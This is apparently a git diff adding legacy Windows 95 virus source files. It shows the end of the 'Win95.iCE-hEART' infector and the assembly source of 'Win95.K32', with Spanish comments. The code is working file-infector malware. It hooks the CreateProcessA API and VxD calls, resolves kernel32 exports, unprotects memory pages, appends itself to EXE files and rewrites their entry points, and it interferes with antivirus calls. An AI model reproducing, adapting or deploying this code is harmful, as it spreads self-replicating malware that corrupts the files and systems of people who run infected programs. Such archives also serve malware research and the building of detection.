||||
test edx,edx
|
||||
jz _ExitNow
|
||||
cmp dword ptr [ebp+24h-0Ch],0D0000040h;attr
|
||||
jne _DoSearchSection
|
||||
mov eax,[ebp+0Ch+40-0Ch];second rva
|
||||
mov ebx,eax
|
||||
sub eax,edx;rva delta
|
||||
sub eax,[ebp+8-0Ch];virtual size
|
||||
cmp ah,(virlen_in_mem/256)+1
|
||||
jb _DoSearchSection
|
||||
;in ebx second rva
|
||||
;in edx virtual size
|
||||
_SectionForUs:
|
||||
sub ebx,eax
|
||||
lea edi,[_krnl_begin+ebx]
|
||||
|
||||
lea ebp,[edi+offset _SecondStart-offset _start]
|
||||
pusha
|
||||
lea esi,[esi+offset _start]
|
||||
|
||||
_ResidencyCheck:
|
||||
xor ecx,ecx
|
||||
cmp byte ptr [edi],cl
|
||||
jne _ExitNow2
|
||||
mov ch,(virlen_in_mem/256)+1
|
||||
rep movsb
|
||||
call ebp
|
||||
_ExitNow2:
|
||||
popa
|
||||
_ExitNow:
|
||||
pop ebp
|
||||
jmp dword ptr [offset _old_eip+esi]
|
||||
|
||||
_SecondStart:
|
||||
mov esi,dword ptr ds:[_krnl_begin+_1st_export+0Ah]
|
||||
sub ebp,offset _SecondStart
|
||||
lea edi,[offset _old_vxd_call+ebp]
|
||||
push esi
|
||||
movsd
|
||||
movsw
|
||||
lea eax,[ebp+offset _Handler]
|
||||
pop edi
|
||||
stosd
|
||||
mov ax,cs
|
||||
stosw
|
||||
_InitSomeVars:
|
||||
mov dword ptr [offset _RelocFix+ebp+1],ebp
|
||||
lea eax,[offset _old_vxd_call+ebp]
|
||||
mov dword ptr [ebp+offset _JmpFword+2],eax
|
||||
retn
|
||||
|
||||
_Handler:
|
||||
pusha
|
||||
_RelocFix:
|
||||
mov ebp,11223344h
|
||||
_CheckBusyFlag:
|
||||
lea ecx,[offset _busy_flag+ebp]
|
||||
xor edx,edx
|
||||
cmp byte ptr [ecx],dl
|
||||
jne _Exit_Handler
|
||||
mov dl,0C0h
|
||||
cmp eax,2A0040h;id of DeviceIoControl
|
||||
jne _CheckInt21Call
|
||||
_CheckAvpCalls:
|
||||
cmp word ptr [edx+esp+2],22h
|
||||
jne _Exit_Handler
|
||||
not dword ptr [edx+esp];i think, avp likes api code,like this ;)
|
||||
|
||||
_CheckInt21Call:
|
||||
cmp eax,2A0010h;calling int 21h ?
|
||||
jne _Exit_Handler
|
||||
cmp word ptr [esp+44],716Ch;openfile ?
|
||||
je _Infect_It
|
||||
|
||||
_Exit_Handler:
|
||||
popa
|
||||
_JmpFword:
|
||||
jmp fword ptr ds:[offset _old_vxd_call]
|
||||
|
||||
_Infect_It:
|
||||
|
||||
not byte ptr [ecx]
|
||||
mov edi,esi
|
||||
xor eax,eax
|
||||
cld
|
||||
push ecx
|
||||
|
||||
push eax
|
||||
|
||||
mov ecx,esp
|
||||
repnz scasb
|
||||
pop ecx
|
||||
|
||||
mov eax,dword ptr [edi-5]
|
||||
or eax,20202000h
|
||||
cmp eax,'exe.'
|
||||
; cmp eax,'eci.'
|
||||
|
||||
|
||||
jne _ExitInfector
|
||||
_InfectFile:
|
||||
xor byte ptr [offset _Name+4+ebp],13
|
||||
|
||||
_AllocStack:
|
||||
mov ch,4;1024
|
||||
sub esp,ecx
|
||||
push ecx
|
||||
_OpenFile:
|
||||
xor edi,edi
|
||||
xor eax,eax
|
||||
cdq
|
||||
|
||||
inc edx
|
||||
mov ebx,edx
|
||||
inc ebx
|
||||
mov ax,716Ch
|
||||
call _Int21h
|
||||
xchg eax,ebx
|
||||
jc _FreeStack
|
||||
mov ah,3Fh
|
||||
call _Process_1024b
|
||||
cmp ecx,eax
|
||||
jne _CloseJmp
|
||||
mov eax,[edi+3Ch]
|
||||
shr ecx,1
|
||||
cmp eax,ecx
|
||||
jae _CloseJmp
|
||||
add edi,eax
|
||||
mov eax,[edi]
|
||||
inc eax;heuristics sucks
|
||||
cmp ax,'EP'+1;sign
|
||||
jne _CloseJmp
|
||||
cmp byte ptr [edi+61h],7Dh;winzip's sfx stack size
|
||||
je _CloseJmp
|
||||
_CheckAlreadyInfected:
|
||||
|
||||
|
||||
cmp byte ptr [edi+1Ah],al
|
||||
je _CloseJmp
|
||||
mov byte ptr [edi+1Ah],al
|
||||
test byte ptr [edi+23],22h;dll or fixed image
|
||||
jne _CloseJmp
|
||||
mov byte ptr [edi+23],0;strip reloc
|
||||
mov edx,dword ptr [edi+160];fixup section
|
||||
test edx,edx
|
||||
je _CloseJmp
|
||||
push edx
|
||||
xchg dword ptr [edi+40],edx;entry point
|
||||
add edx,dword ptr [edi+48+4];image base
|
||||
mov dword ptr [offset _old_eip+ebp],edx
|
||||
pop edx
|
||||
|
||||
_AnalyzePlaceInFixupArea:
|
||||
|
||||
mov ecx,[edi+6]
|
||||
lea esi,[edi+0F8h+12];rva
|
||||
|
||||
_DoAnalyzeSections:
|
||||
lodsd
|
||||
cmp eax,edx;search section with rva=fixup rva
|
||||
je _OkiFixupOur
|
||||
add esi,40-4
|
||||
loop _DoAnalyzeSections
|
||||
_CloseJmp:
|
||||
jmp _Close
|
||||
_OkiFixupOur:
|
||||
lodsd;phys size
|
||||
mov edx,virlen
|
||||
cmp eax,edx
|
||||
jb _CloseJmp
|
||||
mov dword ptr [esi-12],edx
|
||||
push edx
|
||||
lodsd;phyz ofs
|
||||
|
||||
|
||||
_Int21CallOptimization:
|
||||
lea esi,[ebp+offset _Int21h]
|
||||
|
||||
|
||||
_SeekToEnd:
|
||||
|
||||
push eax
|
||||
pop dx
|
||||
pop cx
|
||||
mov ax,4200h
|
||||
call esi
|
||||
|
||||
_WriteSelf:
|
||||
mov ah,40h
|
||||
lea edx,[ebp+offset _start]
|
||||
pop ecx
|
||||
call esi
|
||||
|
||||
_WriteHeader:
|
||||
xor eax,eax
|
||||
mov ah,42h
|
||||
cdq
|
||||
call esi
|
||||
|
||||
mov ah,40h
|
||||
call _Process_1024b
|
||||
|
||||
_Close:
|
||||
mov ah,3Eh
|
||||
call _Int21h
|
||||
|
||||
_FreeStack:
|
||||
pop ecx
|
||||
add esp,ecx
|
||||
|
||||
_ExitInfector:
|
||||
pop ecx
|
||||
not byte ptr [ecx]
|
||||
jmp _Exit_Handler
|
||||
|
||||
|
||||
_Process_1024b:
|
||||
lea edi,[esp+4+4]
|
||||
xor ecx,ecx
|
||||
mov ch,4;1024
|
||||
mov edx,edi
|
||||
_Int21h:
|
||||
push ecx
|
||||
push ebp
|
||||
push ecx eax
|
||||
push 2A0010h
|
||||
mov ebp,_krnl_begin+_1st_export
|
||||
call ebp
|
||||
pop ebp
|
||||
pop ecx
|
||||
retn
|
||||
|
||||
|
||||
|
||||
|
||||
_Name db 'Win95.iCE-hEART',0
|
||||
_Msg db '? ? ?? , ? ???? ??§?¬® «??«? !',0
|
||||
|
||||
_old_eip dd offset ExitProcess
|
||||
virlen equ $-offset start
|
||||
_old_vxd_call db 6 dup ('')
|
||||
_busy_flag db ''
|
||||
virlen_in_mem equ $-offset start
|
||||
|
||||
ends
|
||||
|
||||
.data
|
||||
db 13,10
|
||||
|
||||
_krnl_begin equ 0BFF70000h
|
||||
_1st_export equ 13D4h
|
||||
end start
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
2929
LegacyWindows/Win95.Inca.asm
Normal file
2929
LegacyWindows/Win95.Inca.asm
Normal file
File diff suppressed because it is too large
Load Diff
4173
LegacyWindows/Win95.Invirsible.asm
Normal file
4173
LegacyWindows/Win95.Invirsible.asm
Normal file
File diff suppressed because it is too large
Load Diff
744
LegacyWindows/Win95.K32.asm
Normal file
744
LegacyWindows/Win95.K32.asm
Normal file
@ -0,0 +1,744 @@
|
||||
;***********************************************************************
|
||||
;* *
|
||||
;* VIRUS WIN95.K32 By nIgr0 *
|
||||
;* *
|
||||
;***********************************************************************
|
||||
;
|
||||
; Virus residente, pa win95
|
||||
; Uso el espacio libre dejado por el header del kernel32
|
||||
; dentro de la primera p gina.
|
||||
; Parcheo el API CreateProcessA mediante un JMP
|
||||
; Modifico los permisos de las p ginas que voy a utilizar
|
||||
; mediante una llamada a CALLVXD0 (_PageModifyPermissions)
|
||||
; Vxd 01 servicio 0d.
|
||||
; Hallo la direccion de las apis a utilizar buscando en la
|
||||
; export table del kernel32 , supongo la direcci?n base del
|
||||
; kernel32.dll como 0bff70000h . La unica comprobaci?n que hago
|
||||
; al respecto es mirar en la pila [sp+3]=0b7h, con lo que
|
||||
; por lo menos si no es 0bff70000h se acerca :)
|
||||
; Infecto aumentando la ultima secci?n del file y modifico el
|
||||
; entrypoint del file, pero no modifico los atributos de la ?ltima
|
||||
; secci?n aunque estos sean de solo lectura ,paso completamente de esos
|
||||
; atributos y luego mientras se ejecuta el virus este se pone los
|
||||
; atributos de pagina que quiera mediante el servicio
|
||||
; _PageModifyPermissions.
|
||||
;
|
||||
|
||||
|
||||
|
||||
.386p
|
||||
.model flat,STDCALL
|
||||
include win32.inc
|
||||
|
||||
extrn ExitProcess:PROC
|
||||
extrn MessageBoxA:PROC ;apis exportadas unicamente en la primera
|
||||
extrn CreateProcessA:proc ;generaci?n
|
||||
|
||||
|
||||
;*********** Aqu? algunas equs interesantes ****************
|
||||
|
||||
viriisize equ (((offset end - offset start)+064h)/065h)*065h
|
||||
K32 equ 0bff70000h
|
||||
hueco equ 0bffc0400h ;Zona en el header
|
||||
|
||||
GENERIC_READ EQU 80000000H ;abre archivo para lectura
|
||||
GENERIC_WRITE EQU 40000000H ;abre el archivo para escritura
|
||||
OPEN_EXISTING EQU 3 ;usado por CreateFile para abrir archivo existente
|
||||
|
||||
|
||||
.data
|
||||
|
||||
dummy db 0 ;de esta secci?n paso
|
||||
mess db 'nIgrO rUlez!!!$',0
|
||||
text db 'Virus Win95.K32 .... Ejecutado',0
|
||||
|
||||
|
||||
|
||||
.code
|
||||
start:
|
||||
xor eax,eax ;este es el codigo de un Hoste Ficticio
|
||||
push eax
|
||||
lea eax,mess
|
||||
push eax
|
||||
lea eax,text
|
||||
push eax
|
||||
xor eax,eax
|
||||
push eax
|
||||
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
|
||||
; call MessageBoxA
|
||||
|
||||
|
||||
|
||||
Lajodimos:
|
||||
|
||||
Push LARGE -1
|
||||
call ExitProcess
|
||||
|
||||
;***************** Comienzo del Virus **********************
|
||||
|
||||
startvirii:
|
||||
cmp byte ptr [esp+3],0bfh ;verifico que se llama desde el
|
||||
jne malasunto ;la direcci?n bf??????h
|
||||
|
||||
pushad ;pusheo tooo
|
||||
push ebp
|
||||
|
||||
call getdesp ;obtengo el delta
|
||||
getdesp: pop ebp
|
||||
sub ebp,offset getdesp
|
||||
|
||||
jmp saltito ;jmp pa esquivar la zona de datos :)
|
||||
|
||||
;***************** Comienzo de la zona de Datos ***********
|
||||
|
||||
startdata:
|
||||
PARCHE: mov eax,0bff70400h+offset starthook-offset startvirii
|
||||
jmp eax
|
||||
codigoparcheado:
|
||||
db 010h dup (0)
|
||||
|
||||
FIRMA db 'Virus K32 por nIgr0 ... "Hazlo o no lo hagas pero no lo intentes"',0
|
||||
NLH db 'nIgr0_lives_here!!!!',0
|
||||
IOBYTES dd 0h,0h
|
||||
llamada dd 0bff713d4h ;direcci?n de CallVXD0 hallada anteriormente
|
||||
hoste db 'c:\virus\k32\K.EXE',0,' '
|
||||
|
||||
ahand dd 0 ; handle del virus que abro
|
||||
peheaderoffset dd 0 ; Guardo el offset del peheader del archivo
|
||||
ObjectTableoffset dd 0 ; Guardo el offset de la object table en memoria
|
||||
bytesread dd 0 ; numero de bytes que leo/escrito en el archivo
|
||||
|
||||
secdesplaza dd 0h
|
||||
secphy dd offset startvirii- offset start
|
||||
ultfisicalsize dd 0h
|
||||
|
||||
newobject: ; Zona en la que almaceno el ultimo objeto
|
||||
oname db ".nigro",0,0 ; Pa modificarlo a placer
|
||||
virtualsize dd 0
|
||||
RVA dd 0
|
||||
physicalsize dd 0
|
||||
physicaloffset dd 0
|
||||
reserved dd 0,0,0
|
||||
objectflags dd 0h
|
||||
|
||||
peheader: ; Estructura del Pe header
|
||||
signature dd 0
|
||||
cputype dw 0
|
||||
numObj dw 0
|
||||
db 3*4 dup (0)
|
||||
NtHeaderSize dw 0
|
||||
Flags dw 0
|
||||
db 4*4 dup (0)
|
||||
entrypointRVA dd 0
|
||||
db 3*4 dup (0)
|
||||
objalign dd 0
|
||||
filealign dd 0
|
||||
db 4*4 dup (0)
|
||||
imagesize dd 0
|
||||
headersize dd 0
|
||||
db 400h dup (0)
|
||||
|
||||
addresstable dd 00h ;direccion de la addresstable en la export table
|
||||
nametable dd 00h ;direccion la tabla de punteros a strings (de la export table)
|
||||
ordinaltable dd 00h ;puntero a la ordinal table
|
||||
contador dd 00h ;pa calcular la posici?n del puntero en la nametable que
|
||||
;que apunte a la api buscada.
|
||||
apiabuscar dd 00h ;offset donde se encuentra la string de la api a
|
||||
;buscar (es usada temporalmente por mi
|
||||
;procedimiento GetAdressAPi)
|
||||
longitudapi dd 00h
|
||||
|
||||
;************** Direcciones para las APIS *******************
|
||||
|
||||
|
||||
nombreapis:
|
||||
dd 010d
|
||||
db 'CreateFile',0,' ' ;strings de las apis que
|
||||
dd 014d
|
||||
db 'SetFilePointer',0,' ' ;voy a utilizar
|
||||
dd 08d
|
||||
db 'ReadFile',0,' ' ;junto con el tama¤o de la
|
||||
dd 09d
|
||||
db 'WriteFile',0,' ' ;string
|
||||
dd 011d
|
||||
db 'CloseHandle',0,' '
|
||||
dd 014d
|
||||
db 'CreateProcessA',0,' '
|
||||
dd 016d
|
||||
db 'GetModuleHandleA',0
|
||||
dd 014d
|
||||
db 'GetProcAddress',0,' '
|
||||
direccionesapis:
|
||||
|
||||
newCreateFile dd 00h ;0bff7799ch ;valores para mi versi?n de WIN :)
|
||||
newSetFilePointer dd 00h ;0bff770e4h
|
||||
newReadFile dd 00h ;0bff7594ah
|
||||
newWriteFile dd 00h ;0bff75951h
|
||||
newCloseFile dd 00h ;0bff7bc8bh
|
||||
newCreateProcessA dd 00h ;0bff775e8h
|
||||
newGetModuleHandleA dd 00h
|
||||
newGetProcAddress dd 00h
|
||||
|
||||
dllmensajito db 'USER32.dll',0
|
||||
apimensajito db 'MessageBoxA',0
|
||||
|
||||
;***************** Fin de la Zona de datos ***********************
|
||||
|
||||
|
||||
saltito:
|
||||
;en eax viene el entrypoint del virii
|
||||
|
||||
mov ebx,eax ;copia de seguridad
|
||||
|
||||
xor eax,eax ;empiezo a calcular la direccion de CALLVXD0
|
||||
mov esi,K32 + 3CH
|
||||
lodsw ;en ax me quedar el comienzo del PE header
|
||||
|
||||
add eax,K32 ;a la que le suma la direcci?n base del Kernel32
|
||||
|
||||
|
||||
cmp dword ptr [EAX],00004550H ;verifico que es un PE header
|
||||
je NoERROR
|
||||
|
||||
ERROR: jmp melaspiro
|
||||
|
||||
|
||||
NoERROR:
|
||||
mov esi,[EAX + 78H] ; 78H = la direcci?n a la export table
|
||||
add esi,K32 + 1CH ; 1CH RVA para la adress table
|
||||
|
||||
|
||||
lodsd ; en eax queda la RVA al primer ordinal
|
||||
add eax,K32 ; es decir la direcci?n a la CALLVXD0
|
||||
|
||||
push eax ;
|
||||
pop esi ;en esi=eax
|
||||
|
||||
lodsd ;obtengo la RVA de la primera API
|
||||
add eax,K32 ;EAX = La direcci?n de la primera API
|
||||
|
||||
|
||||
mov edi,ebx
|
||||
and edi,0fffff000h ;calculo la pagina del virii
|
||||
ror edi,012d
|
||||
push eax
|
||||
call modificarpermisos
|
||||
pop eax
|
||||
|
||||
and ebx,00000fffh ;verifico que no va a utilizar 2 paginas
|
||||
add ebx,viriisize ;en caso de que utilice 2 paginas , marco
|
||||
cmp ebx,01000h ;la segunda pagina tambien para escritura
|
||||
jl continuar
|
||||
|
||||
inc edi
|
||||
push eax
|
||||
call modificarpermisos
|
||||
pop eax
|
||||
continuar:
|
||||
|
||||
mov [ebp+llamada],eax ;salvo la direcci?n de CALLVXD0
|
||||
|
||||
mov eax,0bff70400h ;verifico que no est residente
|
||||
mov ebx,dword ptr [eax]
|
||||
cmp ebx,dword ptr [ebp+startvirii]
|
||||
je yaresidente
|
||||
|
||||
|
||||
mov ecx,08h ;numero de APis a buscar
|
||||
lea esi,ebp+nombreapis
|
||||
lea edi,ebp+direccionesapis
|
||||
otraapi: ;obtengo la direccion de las apis
|
||||
push edi ;que voy a utilizar
|
||||
push esi
|
||||
push ecx
|
||||
call GetAddressApi
|
||||
pop ecx
|
||||
pop esi
|
||||
pop edi
|
||||
mov dword ptr [edi],eax
|
||||
add edi,4h
|
||||
add esi,021d
|
||||
dec ecx
|
||||
jne otraapi ;bueno en este punto tenemos las direcciones
|
||||
;necesarias :)
|
||||
|
||||
|
||||
mov eax,00002a00h
|
||||
call INT_21 ;compruebo la fecha del sistema
|
||||
|
||||
cmp dh,02d
|
||||
jne nopayload ;fecha de activaci?n 19d de febrero
|
||||
cmp dl,019d
|
||||
jne nopayload
|
||||
|
||||
lea ebx,ebp+dllmensajito ;Obtengo la direccion base de la
|
||||
push ebx ;libreria USER32.dll donde reside
|
||||
call [ebp+newGetModuleHandleA] ;el api MessageBoxA
|
||||
|
||||
lea ebx,ebp+apimensajito
|
||||
push ebx
|
||||
push eax
|
||||
call [ebp+newGetProcAddress] ;obtengo la direccion de MessageBoxA
|
||||
|
||||
push 0
|
||||
lea ebx,ebp+NLH
|
||||
push ebx
|
||||
lea ebx,ebp+FIRMA
|
||||
push ebx
|
||||
push 0
|
||||
call eax ;llamo al api MessageBoxA
|
||||
|
||||
|
||||
nopayload:
|
||||
|
||||
mov edi,0bff70h
|
||||
call desprotegerpagina
|
||||
mov edi,dword ptr [ebp+newCreateProcessA]
|
||||
and edi,0fffff000h
|
||||
ror edi,012d
|
||||
call desprotegerpagina ;desprotejo 2 paginas una para poder
|
||||
;parchear el api y otra en la que
|
||||
;quedar‚ residente
|
||||
inc edi
|
||||
call desprotegerpagina ;y la siguiente
|
||||
|
||||
mov esi,dword ptr [ebp+newCreateProcessA]
|
||||
lea edi,ebp+codigoparcheado
|
||||
mov ecx,010h
|
||||
rep movsb ;copio los 10h primeros bytes del api
|
||||
;CreateProcess
|
||||
;para poder devolver el control al API
|
||||
;cuando sea llamada.
|
||||
|
||||
lea esi,ebp+PARCHE
|
||||
mov edi,dword ptr [ebp+newCreateProcessA] ;pongo el jmp
|
||||
mov ecx,010h ;en la API ;del api
|
||||
rep movsb
|
||||
|
||||
lea esi,ebp+startvirii
|
||||
mov edi,0bff70400h
|
||||
mov ecx,viriisize
|
||||
rep movsb ;copio el virus en memoria
|
||||
|
||||
yaresidente:
|
||||
melaspiro:
|
||||
popad
|
||||
pop ebp
|
||||
malasunto:
|
||||
db 0b8h ;esto es un mov eax,inm
|
||||
oldip dd 0401000h ;Ip de inicio
|
||||
jmp eax
|
||||
|
||||
enddata:
|
||||
;*************** Modifica permisos de pagina *********************
|
||||
;en eax la direccion de callvxd0
|
||||
;y en edi la pagina a modificar
|
||||
|
||||
desprotegerpagina: ; LLamada a CALLVXD0
|
||||
mov eax,dword ptr [ ebp + offset llamada]
|
||||
modificarpermisos:
|
||||
push 020060000h ;nuevos atributos de p gina
|
||||
push 00h
|
||||
push 01h
|
||||
push edi
|
||||
push 001000dh ;llamada a la VXD 1 servicio D (_PageModifyPermissions)
|
||||
call eax
|
||||
ret
|
||||
|
||||
;**************** Rutina para llamar a la int 21h **********************
|
||||
|
||||
INT_21: ; LLamada a la INT 21
|
||||
push ecx
|
||||
push eax
|
||||
push 002a0010h
|
||||
mov eax,dword ptr [ ebp + offset llamada]
|
||||
call eax
|
||||
RET
|
||||
|
||||
;************** Procedimiento que encuentra la direccion de las apis ***************
|
||||
;************** en la export table del Kernel32 ***************
|
||||
|
||||
GetAddressApi:
|
||||
mov eax,dword ptr [esi]
|
||||
mov dword ptr [ebp+longitudapi],eax
|
||||
add esi,04h
|
||||
mov dword ptr [ebp+apiabuscar],esi ;pusheo el valor de la string
|
||||
|
||||
xor eax,eax
|
||||
mov dword ptr [ebp+contador],eax ;pongo a cero el valor del contador
|
||||
mov esi,K32 + 3CH
|
||||
lodsw ;en ax me quedar el comienzo del PE header
|
||||
|
||||
add eax,K32 ;a la que le suma la direcci?n base del Kernel32
|
||||
|
||||
mov esi,[EAX + 78H] ; 78H = la direcci?n a la export table
|
||||
add esi,K32 + 1cH ; 1CH RVA para la adress table
|
||||
|
||||
|
||||
lodsd ;obtengo los offset de algunas TABLAS
|
||||
add eax,K32 ;interesantes de la export table
|
||||
mov dword ptr [ebp+addresstable],eax
|
||||
lodsd
|
||||
add eax,K32
|
||||
mov dword ptr [ebp+nametable],eax
|
||||
lodsd
|
||||
add eax,K32
|
||||
mov dword ptr [ebp+ordinaltable],eax
|
||||
|
||||
;ADDRESS TABLE RVA = DD Relative Virtual Address of the Export Address
|
||||
;Table.
|
||||
;NAME TABLE RVA = DD Relative Virtual Address of the Export Name Table
|
||||
;Pointers.
|
||||
;ORDINAL TABLE RVA = DD Relative Virtual Address of Export Ordinals
|
||||
|
||||
|
||||
mov eax,dword ptr [ebp+nametable]
|
||||
mov esi,eax
|
||||
anotherapi:
|
||||
push esi
|
||||
lodsd
|
||||
mov esi,eax
|
||||
add esi,K32
|
||||
mov edi,dword ptr [ebp+apiabuscar]
|
||||
mov ecx,dword ptr [ebp+longitudapi];en ecx el numero de bytes
|
||||
cld ;con los que compararemos
|
||||
repe cmpsb
|
||||
je encontrada
|
||||
pop esi
|
||||
add esi,04h
|
||||
inc dword ptr [ebp+contador]
|
||||
jmp anotherapi
|
||||
|
||||
encontrada:
|
||||
pop esi
|
||||
|
||||
xor eax,eax
|
||||
mov eax,dword ptr [ebp+contador]
|
||||
add eax,eax
|
||||
add eax,dword ptr [ebp+ordinaltable] ;Con el valor de contador
|
||||
mov esi,eax ;me voy a la ordinal table
|
||||
lodsw ;y busco el ordinal del API
|
||||
and eax,0000ffffh
|
||||
add eax,eax
|
||||
add eax,eax
|
||||
add eax,dword ptr [ebp+addresstable] ;Y con el ordinal me voy a la
|
||||
mov esi,eax ;adress table
|
||||
lodsd
|
||||
add eax,K32 ;devuelvo en eax la direccion del API
|
||||
ret
|
||||
|
||||
|
||||
;***************************************************************************
|
||||
;* *
|
||||
;* Comienzo de la Rutina que intercepa la API CreateProcessA *
|
||||
;* *
|
||||
;***************************************************************************
|
||||
|
||||
|
||||
starthook:
|
||||
push ebp
|
||||
call getdelta ;obtengo el delta
|
||||
getdelta: pop ebp
|
||||
sub ebp,offset getdelta
|
||||
|
||||
|
||||
mov eax,[esp+0ch] ;obtengo el puntero a la cadena de texto
|
||||
;de la pila :)
|
||||
pushad ;pusheo tooo
|
||||
|
||||
mov esi,eax
|
||||
lea edi,ebp+hoste
|
||||
otrocar: cmp byte ptr [esi],0 ;copio la cadena de texto con el nombre
|
||||
je sacabo ;de la victima en la variable hoste
|
||||
movsb
|
||||
jmp otrocar
|
||||
sacabo: movsb ;copio el 0 tambi‚n
|
||||
|
||||
lea esi,ebp+hoste
|
||||
cmp byte ptr [esi],022h
|
||||
jne proseguir ;rehago el string por si est
|
||||
;entre comillas
|
||||
lea edi,ebp+hoste
|
||||
inc esi
|
||||
mascara: cmp byte ptr [esi],022h
|
||||
je finalizar
|
||||
movsb
|
||||
jmp mascara
|
||||
finalizar: mov byte ptr [esi],0h
|
||||
movsb
|
||||
proseguir: cmp word ptr [edi-3h],'EX'
|
||||
je esunexe
|
||||
cmp word ptr [edi-3h],'ex'
|
||||
je esunexe
|
||||
jmp emergencia
|
||||
esunexe:
|
||||
lea esi,ebp+hoste ;Abro el archivo
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push large OPEN_EXISTING
|
||||
push eax
|
||||
push eax
|
||||
push large GENERIC_READ or GENERIC_WRITE
|
||||
mov eax,esi
|
||||
push eax
|
||||
call dword ptr[ebp + newCreateFile]
|
||||
cmp eax,-1
|
||||
je emergencia
|
||||
|
||||
|
||||
|
||||
mov dword ptr [ebp + offset ahand],eax ; Guardo el handle
|
||||
|
||||
|
||||
; Busco el comienzo del PE header que est en la posici?n 3ch
|
||||
|
||||
mov edx,03ch
|
||||
call moverpuntero
|
||||
|
||||
; Leo la posici?n del Pe header
|
||||
|
||||
mov ecx,004h
|
||||
lea edx,[ebp + offset peheaderoffset]
|
||||
call lectura
|
||||
|
||||
; Me muevo hasta el PE header
|
||||
|
||||
mov edx,dword ptr [ebp+offset peheaderoffset]
|
||||
call moverpuntero
|
||||
|
||||
|
||||
; Leo un poco del header para calcular todo el tama¤o del
|
||||
; pe header y object table
|
||||
|
||||
mov ecx,058h
|
||||
lea edx,[ebp + offset peheader]
|
||||
call lectura
|
||||
|
||||
; Llevo el puntero al comienzo del PE header de nuevo
|
||||
mov edx,dword ptr [ebp+ offset peheaderoffset]
|
||||
call moverpuntero
|
||||
|
||||
; leo todo el pe header y la object table
|
||||
mov ecx,dword ptr [ebp + offset headersize]
|
||||
lea edx,[ebp + offset peheader]
|
||||
call lectura
|
||||
|
||||
|
||||
|
||||
; Me aseguro que es un pe y que no est infectado
|
||||
cmp dword ptr [ebp + offset peheader],00004550h ; PE,0,0
|
||||
jnz notape
|
||||
cmp word ptr [ebp + offset peheader + 4ch],00badh ;si est infectado salir
|
||||
jz notape
|
||||
|
||||
|
||||
; marco el archivo como infectado en una zona del Header
|
||||
mov word ptr [ebp + offset peheader + 4ch],00badh
|
||||
|
||||
|
||||
; Localizo el offset de la object table
|
||||
xor eax,eax
|
||||
mov ax, word ptr [ebp + offset NtHeaderSize]
|
||||
add eax,18h
|
||||
mov dword ptr [ebp + offset ObjectTableoffset],eax
|
||||
|
||||
;relativo al comienzo del Pe header
|
||||
|
||||
|
||||
;Calculo el Offset del ?ltimo objecto de la tabla
|
||||
mov esi,dword ptr [ebp + offset ObjectTableoffset]
|
||||
lea eax,[ebp + offset peheader]
|
||||
add esi,eax
|
||||
xor eax,eax
|
||||
mov ax,[ebp + offset numObj]
|
||||
mov ecx,40d
|
||||
xor edx,edx
|
||||
mul ecx
|
||||
add esi,eax
|
||||
|
||||
sub esi,40d
|
||||
|
||||
lea edi,[ebp + offset newobject]
|
||||
|
||||
mov ecx,10d
|
||||
push esi
|
||||
push edi
|
||||
rep movsd ;copio la entrada en la object table en memoria
|
||||
|
||||
|
||||
mov eax,dword ptr [ebp + offset physicalsize]
|
||||
mov dword ptr [ebp + offset ultfisicalsize],eax
|
||||
mov dword ptr [ebp + offset secphy],eax
|
||||
|
||||
; Calcula el tama¤o fisico pa el ultimo object
|
||||
mov ecx,dword ptr [ebp + offset filealign]
|
||||
mov eax,dword ptr [ebp + offset physicalsize]
|
||||
add eax,viriisize
|
||||
xor edx,edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov dword ptr [ebp + offset physicalsize],eax
|
||||
|
||||
mov eax,dword ptr [ebp + offset virtualsize]
|
||||
mov dword ptr [ebp+ offset secdesplaza],eax ;el tama¤o virtual ser
|
||||
;el desplazamiento dentro de la secci?n
|
||||
;RVA del objeto + desplazamiento virtual= entrypoint RVA
|
||||
|
||||
; calcula el tama¤o virtual del objeto modificado
|
||||
mov ecx,dword ptr [ebp + offset objalign]
|
||||
mov eax,dword ptr [ebp + offset virtualsize]
|
||||
add eax,viriisize
|
||||
xor edx,edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov dword ptr [ebp + offset virtualsize],eax
|
||||
|
||||
|
||||
; Modifico la image size del archivo.
|
||||
|
||||
mov eax,viriisize
|
||||
add eax,dword ptr [ebp + offset imagesize]
|
||||
mov ecx,[ebp + offset objalign]
|
||||
xor edx,edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov dword ptr [ebp + offset imagesize],eax
|
||||
|
||||
; Copio el objeto modificado en el buffer
|
||||
|
||||
pop esi
|
||||
pop edi
|
||||
mov ecx,10d
|
||||
rep movsd
|
||||
|
||||
|
||||
; Calculo la nueva Entrypoint RVA
|
||||
mov eax,dword ptr [ebp + offset RVA]
|
||||
add eax,dword ptr [ebp + offset secphy]
|
||||
mov ebx,dword ptr [ebp + offset entrypointRVA]
|
||||
mov dword ptr [ebp + offset entrypointRVA],eax
|
||||
|
||||
add ebx,dword ptr [ebp + offset peheader + 34h] ;le sumo la base adress
|
||||
mov dword ptr [ebp + offset oldip],ebx
|
||||
|
||||
;completo la variable oldip para generar
|
||||
;el jump al hoste
|
||||
|
||||
|
||||
; de nuevo al Pe header
|
||||
mov edx,dword ptr [ebp+offset peheaderoffset]
|
||||
call moverpuntero
|
||||
|
||||
; Escribo el pe header y la object table en el archivo
|
||||
|
||||
mov ecx,dword ptr [ebp + offset headersize]
|
||||
lea edx,[ebp + offset peheader]
|
||||
call escritura
|
||||
|
||||
; Me voy al final del file para copiar el virus
|
||||
mov edx,dword ptr [ebp + offset physicaloffset]
|
||||
add edx,dword ptr [ebp + offset ultfisicalsize]
|
||||
call moverpuntero
|
||||
|
||||
|
||||
; Copio el virus al final (de la ultima secci?n)
|
||||
mov ecx,viriisize
|
||||
lea edx,[ebp + offset startvirii]
|
||||
call escritura
|
||||
|
||||
|
||||
notape:
|
||||
push dword ptr [ebp + ahand]
|
||||
call dword ptr [ebp + newCloseFile]
|
||||
|
||||
|
||||
emergencia:
|
||||
|
||||
lea esi,ebp+codigoparcheado
|
||||
mov edi,dword ptr [ebp+newCreateProcessA] ;pongo otra vez
|
||||
mov ecx,010h ;los 010h primeros bytes
|
||||
rep movsb ;del api
|
||||
|
||||
|
||||
popad
|
||||
pop ebp
|
||||
|
||||
call getdelta2 ;obtengo el delta otra vez
|
||||
